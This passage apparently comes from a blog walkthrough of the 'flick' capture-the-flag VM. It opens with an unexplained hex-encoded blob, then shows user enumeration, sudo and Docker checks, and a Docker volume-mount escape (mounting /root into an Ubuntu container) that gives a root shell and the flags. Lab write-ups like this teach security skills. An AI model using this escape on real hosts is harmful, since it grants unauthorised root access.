\x56\x31\x59\x77\x5a\x44\x52\x57\x4d\x56\x6c\x33\x57\x6b\x52\x53\x57\x46\x4a\x74                                                 
\x65\x46\x5a\x56\x4d\x6a\x41\x31\x56\x6a\x41\x78\x56\x32\x4a\x45\x54\x6c\x68\x68                                                 
\x4d\x6b\x30\x78\x56\x6d\x70\x4b\x53\x31\x49\x79\x53\x6b\x56\x55\x62\x47\x68\x6f                                                 
\x54\x56\x68\x43\x55\x56\x5a\x74\x65\x46\x5a\x6c\x52\x6c\x6c\x35\x56\x47\x74\x73                                                 
\x61\x6c\x4a\x74\x61\x47\x39\x55\x56\x6d\x68\x44\x56\x56\x5a\x61\x63\x56\x46\x74                                                 
\x52\x6c\x70\x57\x4d\x44\x45\x31\x56\x54\x4a\x30\x56\x31\x5a\x58\x53\x6b\x68\x68                                                 
\x52\x7a\x6c\x56\x56\x6d\x78\x61\x4d\x31\x5a\x73\x57\x6d\x46\x6b\x52\x30\x35\x47                                                 
\x57\x6b\x5a\x53\x54\x6d\x46\x36\x52\x54\x46\x57\x56\x45\x6f\x77\x56\x6a\x46\x61                                                 
\x57\x46\x4e\x72\x61\x47\x68\x53\x65\x6d\x78\x57\x56\x6d\x70\x4f\x54\x30\x30\x78                                                 
\x63\x46\x5a\x58\x62\x55\x5a\x72\x55\x6a\x41\x31\x52\x31\x64\x72\x57\x6e\x64\x57                                                 
\x4d\x44\x46\x46\x55\x6c\x52\x47\x56\x31\x5a\x46\x62\x33\x64\x57\x61\x6b\x5a\x68                                                 
\x56\x30\x5a\x4f\x63\x6d\x46\x48\x61\x46\x4e\x6c\x62\x58\x68\x58\x56\x6d\x30\x78                                                 
\x4e\x46\x6c\x56\x4d\x48\x68\x58\x62\x6b\x35\x59\x59\x6c\x56\x61\x63\x6c\x56\x71                                                 
\x51\x54\x46\x53\x4d\x57\x52\x79\x56\x32\x78\x4f\x56\x57\x4a\x56\x63\x45\x64\x5a                                                 
\x4d\x46\x5a\x33\x56\x6a\x4a\x4b\x56\x56\x4a\x59\x5a\x46\x70\x6c\x61\x33\x42\x49                                                 
\x56\x6d\x70\x47\x54\x32\x52\x57\x56\x6e\x52\x68\x52\x6b\x35\x73\x59\x6c\x68\x6f                                                 
\x57\x46\x5a\x74\x4d\x58\x64\x55\x4d\x56\x46\x33\x54\x55\x68\x6f\x61\x6c\x4a\x73
\x63\x46\x6c\x5a\x62\x46\x5a\x68\x59\x32\x78\x57\x63\x56\x46\x55\x52\x6c\x4e\x4e
\x56\x6c\x59\x31\x56\x46\x5a\x53\x55\x31\x5a\x72\x4d\x58\x4a\x6a\x52\x6d\x68\x57
\x54\x57\x35\x53\x4d\x31\x5a\x71\x53\x6b\x74\x57\x56\x6b\x70\x5a\x57\x6b\x5a\x77
\x62\x47\x45\x7a\x51\x6b\x6c\x57\x62\x58\x42\x48\x56\x44\x4a\x53\x56\x31\x5a\x75
\x55\x6d\x68\x53\x61\x7a\x56\x7a\x57\x57\x78\x6f\x62\x31\x64\x47\x57\x6e\x52\x4e
\x53\x47\x68\x50\x55\x6d\x31\x34\x56\x31\x52\x56\x61\x47\x39\x58\x52\x30\x70\x79
\x54\x6c\x5a\x73\x57\x6d\x4a\x47\x57\x6d\x68\x5a\x4d\x6e\x68\x58\x59\x7a\x46\x57
\x63\x6c\x70\x47\x61\x47\x6c\x53\x4d\x31\x46\x36\x56\x6a\x4a\x30\x55\x31\x55\x78
\x57\x6e\x4a\x4e\x57\x45\x70\x71\x55\x6d\x31\x6f\x56\x31\x52\x58\x4e\x56\x4e\x4e
\x4d\x56\x70\x78\x55\x32\x74\x30\x56\x31\x5a\x72\x63\x46\x70\x58\x61\x31\x70\x33
\x56\x6a\x46\x4b\x56\x32\x4e\x49\x62\x46\x64\x57\x52\x55\x70\x6f\x56\x6b\x52\x4b
\x54\x32\x52\x47\x53\x6e\x4a\x61\x52\x6d\x68\x70\x56\x6a\x4e\x6f\x56\x56\x64\x57
\x55\x6b\x39\x52\x4d\x57\x52\x48\x56\x32\x35\x53\x54\x6c\x5a\x46\x53\x6c\x68\x55
\x56\x33\x68\x48\x54\x6c\x5a\x61\x57\x45\x35\x56\x4f\x56\x68\x53\x4d\x48\x42\x4a
\x56\x6c\x64\x34\x63\x31\x64\x74\x53\x6b\x68\x68\x52\x6c\x4a\x58\x54\x55\x5a\x77
\x56\x46\x5a\x71\x52\x6e\x64\x53\x4d\x56\x4a\x30\x5a\x55\x64\x73\x55\x32\x4a\x59
\x59\x33\x68\x57\x61\x31\x70\x68\x56\x54\x46\x56\x65\x46\x64\x75\x53\x6b\x35\x58
\x52\x58\x42\x78\x56\x57\x78\x6b\x4e\x47\x46\x47\x56\x58\x64\x68\x52\x55\x35\x55
\x55\x6d\x78\x77\x65\x46\x55\x79\x64\x47\x46\x69\x52\x6c\x70\x7a\x56\x32\x78\x77
\x57\x47\x45\x78\x63\x44\x4e\x5a\x61\x32\x52\x47\x5a\x57\x78\x47\x63\x6d\x4a\x47
\x5a\x46\x64\x4e\x4d\x45\x70\x4a\x56\x6d\x74\x53\x53\x31\x55\x78\x57\x58\x68\x57
\x62\x6c\x5a\x57\x59\x6c\x68\x43\x56\x46\x6c\x72\x56\x6e\x64\x57\x56\x6c\x70\x30
\x5a\x55\x63\x35\x55\x6b\x31\x58\x55\x6e\x70\x57\x4d\x6a\x56\x4c\x56\x30\x64\x4b
\x53\x46\x56\x74\x4f\x56\x56\x57\x62\x48\x42\x59\x56\x47\x78\x61\x59\x56\x64\x48
\x56\x6b\x68\x6b\x52\x32\x68\x70\x55\x6c\x68\x42\x64\x31\x64\x57\x56\x6d\x39\x55
\x4d\x56\x70\x30\x55\x6d\x35\x4b\x54\x31\x5a\x73\x53\x6c\x68\x55\x56\x6c\x70\x33
\x56\x30\x5a\x72\x65\x46\x64\x72\x64\x47\x70\x69\x56\x6b\x70\x49\x56\x6c\x64\x34
\x61\x32\x46\x57\x53\x6e\x52\x50\x56\x45\x35\x58\x54\x57\x35\x6f\x57\x46\x6c\x71
\x53\x6b\x5a\x6c\x52\x6d\x52\x5a\x57\x6b\x55\x31\x56\x31\x5a\x73\x63\x46\x56\x58
\x56\x33\x52\x72\x56\x54\x46\x73\x56\x31\x56\x73\x57\x6c\x68\x69\x56\x56\x70\x7a
\x57\x57\x74\x61\x64\x32\x56\x47\x56\x58\x6c\x6b\x52\x45\x4a\x58\x54\x56\x5a\x77
\x65\x56\x59\x79\x65\x48\x64\x58\x62\x46\x70\x58\x59\x30\x68\x4b\x56\x31\x5a\x46
\x57\x6b\x78\x57\x4d\x56\x70\x48\x59\x32\x31\x4b\x52\x31\x70\x47\x5a\x45\x35\x4e
\x52\x58\x42\x4b\x56\x6d\x31\x30\x55\x31\x4d\x78\x56\x58\x68\x58\x57\x47\x68\x68
\x55\x30\x5a\x61\x56\x6c\x6c\x72\x57\x6b\x74\x6a\x52\x6c\x70\x78\x56\x47\x30\x35
\x56\x31\x5a\x73\x63\x45\x68\x58\x56\x45\x35\x76\x59\x56\x55\x78\x57\x46\x56\x75
\x63\x46\x64\x4e\x56\x32\x68\x32\x56\x31\x5a\x61\x53\x31\x49\x78\x54\x6e\x56\x52
\x62\x46\x5a\x58\x54\x54\x46\x4b\x4e\x6c\x5a\x48\x64\x47\x46\x68\x4d\x6b\x35\x7a
\x56\x32\x35\x53\x61\x31\x4a\x74\x55\x6e\x42\x57\x62\x47\x68\x44\x54\x6c\x5a\x6b
\x56\x56\x46\x74\x52\x6d\x70\x4e\x56\x31\x49\x77\x56\x54\x4a\x30\x61\x31\x64\x48
\x53\x6c\x68\x68\x52\x30\x5a\x56\x56\x6d\x78\x77\x4d\x31\x70\x58\x65\x48\x4a\x6c
\x56\x31\x5a\x49\x5a\x45\x64\x30\x55\x32\x45\x7a\x51\x58\x64\x58\x62\x46\x5a\x68
\x59\x54\x4a\x47\x56\x31\x64\x75\x53\x6d\x6c\x6c\x61\x31\x70\x59\x57\x57\x78\x6f
\x51\x31\x52\x47\x55\x6e\x4a\x58\x62\x45\x70\x73\x55\x6d\x31\x53\x65\x6c\x6c\x56
\x57\x6c\x4e\x68\x56\x6b\x70\x31\x55\x57\x78\x77\x56\x32\x4a\x59\x55\x6c\x68\x61
\x52\x45\x5a\x72\x55\x6a\x4a\x4b\x53\x56\x52\x74\x61\x46\x4e\x57\x56\x46\x5a\x61
\x56\x6c\x63\x78\x4e\x47\x51\x79\x56\x6b\x64\x57\x62\x6c\x4a\x72\x55\x6b\x56\x4b
\x62\x31\x6c\x59\x63\x45\x64\x6c\x56\x6c\x4a\x7a\x56\x6d\x35\x4f\x57\x47\x4a\x47
\x63\x46\x68\x5a\x4d\x47\x68\x4c\x56\x32\x78\x61\x57\x46\x56\x72\x5a\x47\x46\x57
\x56\x31\x4a\x51\x56\x54\x42\x6b\x52\x31\x49\x79\x52\x6b\x68\x69\x52\x6b\x35\x70
\x59\x54\x42\x77\x4d\x6c\x5a\x74\x4d\x54\x42\x56\x4d\x55\x31\x34\x56\x56\x68\x73
\x56\x56\x64\x48\x65\x46\x5a\x5a\x56\x45\x5a\x33\x59\x55\x5a\x57\x63\x56\x4e\x74
\x4f\x56\x64\x53\x62\x45\x70\x5a\x56\x47\x78\x6a\x4e\x57\x45\x79\x53\x6b\x64\x6a
\x52\x57\x68\x58\x59\x6c\x52\x42\x4d\x56\x5a\x58\x63\x33\x68\x58\x52\x6c\x5a\x7a
\x59\x55\x5a\x6b\x54\x6c\x59\x79\x61\x44\x4a\x57\x61\x6b\x4a\x72\x55\x7a\x46\x6b
\x56\x31\x5a\x75\x53\x6c\x42\x57\x62\x48\x42\x76\x57\x56\x52\x47\x64\x31\x4e\x57
\x57\x6b\x68\x6c\x52\x30\x5a\x61\x56\x6d\x31\x53\x52\x31\x52\x73\x57\x6d\x46\x56
\x52\x6c\x6c\x35\x59\x55\x5a\x6f\x57\x6c\x64\x49\x51\x6c\x68\x56\x4d\x46\x70\x68
\x59\x31\x5a\x4f\x63\x56\x56\x73\x57\x6b\x35\x57\x4d\x55\x6c\x33\x56\x6c\x52\x4b
\x4d\x47\x49\x79\x52\x6b\x64\x54\x62\x6b\x35\x55\x59\x6b\x64\x6f\x56\x6c\x5a\x73
\x57\x6e\x64\x4e\x4d\x56\x70\x79\x56\x32\x31\x47\x61\x6c\x5a\x72\x63\x44\x42\x61
\x52\x57\x51\x77\x56\x6a\x4a\x4b\x63\x6c\x4e\x72\x61\x46\x64\x53\x4d\x32\x68\x6f
\x56\x6b\x52\x4b\x52\x31\x59\x78\x54\x6e\x56\x56\x62\x45\x4a\x58\x55\x6c\x52\x57
\x57\x56\x64\x57\x55\x6b\x64\x6b\x4d\x6b\x5a\x48\x56\x32\x78\x57\x55\x32\x45\x78
\x63\x48\x4e\x56\x62\x54\x46\x54\x5a\x57\x78\x73\x56\x6c\x64\x73\x54\x6d\x68\x53
\x56\x45\x5a\x61\x56\x56\x63\x31\x62\x31\x59\x78\x57\x58\x70\x68\x53\x45\x70\x61
\x59\x57\x74\x61\x63\x6c\x56\x71\x52\x6c\x64\x6a\x4d\x6b\x5a\x47\x54\x31\x5a\x6b
\x56\x31\x5a\x47\x57\x6d\x46\x57\x62\x47\x4e\x34\x54\x6b\x64\x52\x65\x56\x5a\x72
\x5a\x46\x64\x69\x62\x45\x70\x79\x56\x57\x74\x57\x53\x32\x49\x78\x62\x46\x6c\x6a
\x52\x57\x52\x73\x56\x6d\x78\x4b\x65\x6c\x5a\x74\x4d\x44\x56\x58\x52\x30\x70\x48
\x59\x30\x5a\x6f\x57\x6b\x31\x48\x61\x45\x78\x57\x4d\x6e\x68\x68\x56\x30\x5a\x57
\x63\x6c\x70\x48\x52\x6c\x64\x4e\x4d\x6d\x68\x4a\x56\x31\x52\x4a\x65\x46\x4d\x78
\x53\x58\x68\x6a\x52\x57\x52\x68\x55\x6d\x73\x31\x57\x46\x59\x77\x56\x6b\x74\x4e
\x62\x46\x70\x30\x59\x30\x56\x6b\x57\x6c\x59\x77\x56\x6a\x52\x57\x62\x47\x68\x76
\x56\x30\x5a\x6b\x53\x47\x46\x47\x57\x6c\x70\x69\x57\x47\x68\x6f\x56\x6d\x31\x34
\x63\x32\x4e\x73\x5a\x48\x4a\x6b\x52\x33\x42\x54\x59\x6b\x5a\x77\x4e\x46\x5a\x58
\x4d\x54\x42\x4e\x52\x6c\x6c\x34\x56\x32\x35\x4f\x61\x6c\x4a\x58\x61\x46\x68\x57
\x61\x6b\x35\x54\x56\x45\x5a\x73\x56\x56\x46\x59\x61\x46\x4e\x57\x61\x33\x42\x36
\x56\x6b\x64\x34\x59\x56\x55\x79\x53\x6b\x5a\x58\x57\x48\x42\x58\x56\x6c\x5a\x77
\x52\x31\x51\x78\x57\x6b\x4e\x56\x62\x45\x4a\x56\x54\x55\x51\x77\x50\x51\x3d\x3d

 .o88o. oooo   o8o            oooo        
 888 `" `888   `"'            `888        
o888oo   888  oooo   .ooooo.   888  oooo  
 888     888  `888  d88' `"Y8  888 .8P'   
 888     888   888  888        888888.    
 888     888   888  888   .o8  888 `88b.  
o888o   o888o o888o `Y8bod8P' o888o o888o 
                                          

Welcome to Ubuntu 12.04.4 LTS (GNU/Linux 3.11.0-15-generic x86_64)

 * Documentation:  https://help.ubuntu.com/

  System information as of Wed Aug  9 22:45:39 SAST 2023

  System load:  0.0               Processes:              92
  Usage of /:   35.8% of 6.99GB   Users logged in:        1
  Memory usage: 56%               IP address for eth0:    192.168.95.117
  Swap usage:   0%                IP address for docker0: 172.17.42.1

  Graph this data and manage this system at:
    https://landscape.canonical.com/

Last login: Sat Aug  2 12:43:16 2014 from 192.168.56.1
robin@flick:~$

By doing so, we've successfully gained access to the Robin user account. Our next objective is to acquire root access to fulfill the CTF challenge .


Privilege Escalation

During the process of privilege escalation, the primary goal is to gather information about the system and pinpoint any potential vulnerabilities or misconfigurations that might grant us higher privileges, ultimately leading to accessing the root level.

To start, let's perform a User Permissions Enumeration to analyze the user's rights and privileges on the system. This can be achieved by executing commands like " sudo -l " or " uname -a " to determine which commands the current user can run with elevated privileges.

Let me run the “ uname -a ” command, to identify various details about the machine, such as its kernel version, hostname, architecture, processor, and operating system.

robin@flick:~$ uname -a
Linux flick 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux                
robin@flick:~$

Additionally, I'll examine the privileges associated with the current user by running " sudo -l ." 

robin@flick:~$ sudo -l                                                                                                           
Matching Defaults entries for robin on this host:                                                                                
    env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin                                     
                                                                                                                                 
User robin may run the following commands on this host:                                                                          
    (root) NOPASSWD: /opt/start_apache/restart.sh                                                                                
robin@flick:~$


Docker Container Escape Privilege Escalation

After executing this command, I've discovered that the user " robin " possesses specific permissions for “ /opt/start_apache/reset.sh ”. Unfortunately, this doesn't seem to be a helpful route for obtaining a root shell.

Given the presence of Docker on the target machine, I'll use the " docker ps " command to list the currently active containers. 

robin@flick:~$ docker ps
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES    
robin@flick:~$

This will provide an overview of the containers that are currently operational.

However, it appears that there are no other active containers at the moment. To gain further insight, I'll inspect the available Docker images that reside within the container repository.

robin@flick:~$ docker images                                                                                                     
REPOSITORY          TAG                 IMAGE ID            CREATED              VIRTUAL SIZE                                    
ubuntu              14.04               ba5877dc9bec        9.057422 years ago   192.7 MB                                        
ubuntu              trusty              ba5877dc9bec        9.057422 years ago   192.7 MB                                        
ubuntu              latest              ba5877dc9bec        9.057422 years ago   192.7 MB                                        
ubuntu              precise             b9e56c8f2cf5        9.058712 years ago   103.9 MB                                        
ubuntu              12.04               b9e56c8f2cf5        9.058712 years ago   103.9 MB                                        
ubuntu              14.10               6ef6f1a66de1        9.058712 years ago   194.1 MB                                        
ubuntu              utopic              6ef6f1a66de1        9.058712 years ago   194.1 MB                                        
ubuntu              12.10               c5881f11ded9        9.147819 years ago   172.2 MB                                        
ubuntu              quantal             c5881f11ded9        9.147819 years ago   172.2 MB                                        
ubuntu              raring              463ff6be4238        9.147820 years ago   169.4 MB                                        
ubuntu              13.04               463ff6be4238        9.147820 years ago   169.4 MB                                        
ubuntu              13.10               195eb90b5349        9.147821 years ago   184.7 MB                                        
ubuntu              saucy               195eb90b5349        9.147821 years ago   184.7 MB                                        
ubuntu              10.04               3db9c44f4520        9.307010 years ago   183 MB
ubuntu              lucid               3db9c44f4520        9.307010 years ago   183 MB
robin@flick:~$ 

Notably, there are several Ubuntu images accessible within Docker. Leveraging this discovery, I'll exploit the opportunity to attain a root shell.

docker run -t -i -v /root:/root ubuntu /bin/bash

When we run this command, a fresh Docker container will be established using the Ubuntu image. The container will start an interactive Bash shell session, allowing us to work within the container as if you were working in a regular Linux terminal. The /root directory on the host system will be accessible within the container, allowing you to manipulate files and perform tasks within that directory.

robin@flick:~$ docker run -t -i -v /root:/root ubuntu /bin/bash
root@108f8028ce00:/# 

Following these steps, I've successfully gained root access. I'll confirm this by using the " whoami " command to verify the current user as, "root."

root@108f8028ce00:/# whoami                                                                                                      
root                                                                                                                             
root@108f8028ce00:/#

Next, I'll navigate to the root directory using the "cd" command and confirm the presence of the root flag with the "ls" command. 

root@108f8028ce00:/# cd /root                                                                                                    
root@108f8028ce00:/root# ls -al                                                                                                  
total 56                                                                                                                         
drwx------  5 root root  4096 Aug  6  2014 .                                                                                     
drwxr-xr-x 46 root root  4096 Aug  9 20:51 ..                                                                                    
drwx------  2 root root  4096 Aug  4  2014 .aptitude                                                                             
-rw-------  1 root root    27 Aug  6  2014 .bash_history                                                                         
-rw-r--r--  1 root root  3106 Apr 19  2012 .bashrc                                                                               
drwx------  2 root root  4096 Aug  1  2014 .cache                                                                                
-rw-r--r--  1 root root   140 Apr 19  2012 .profile                                                                              
-rw-------  1 root root 16597 Aug  5  2014 .viminfo                                                                              
drwxr-xr-x  2 root root  4096 Aug  1  2014 53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc                      
-rw-r--r--  1 root root    67 Aug  1  2014 flag.txt                                                                              
root@108f8028ce00:/root#

To view the content of the root flag, the "cat" command can be employed.

root@108f8028ce00:/root# cat flag.txt                                                                                            
Errr, you are close, but this is not the flag you are looking for.                                                               
root@108f8028ce00:/root#

This is not the flag, which originally contained the flag. But, upon analyzing I find out that there is a directory on /root path, which may contain the rot flag.

root@108f8028ce00:/root# cd 53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc                                     
root@108f8028ce00:/root/53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc# ls -al                                 
total 12                                                                                                                         
drwxr-xr-x 2 root root 4096 Aug  1  2014 .
drwx------ 5 root root 4096 Aug  6  2014 ..
-rw-r--r-- 1 root root  128 Aug  1  2014 real_flag.txt
root@108f8028ce00:/root/53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc#

To view the content of the root flag, the "cat" command can be employed.

root@108f8028ce00:/root/53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc# cat real_flag.txt 
Congrats!

You have completed 'flick'! I hope you have enjoyed doing it as much as I did creating it :)

ciao for now!
@leonjza
root@108f8028ce00:/root/53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc# 

With these actions, the CTF challenge has been successfully completed. If you have any questions or uncertainties, feel free to leave a comment in the designated section.

Tags

Post a Comment

0 Comments
* Please Don't Spam Here. All the Comments are Reviewed by Admin.

#buttons=(Ok, Go it!) #days=(20)

Our website uses cookies to enhance your experience. Learn More
Ok, Go it!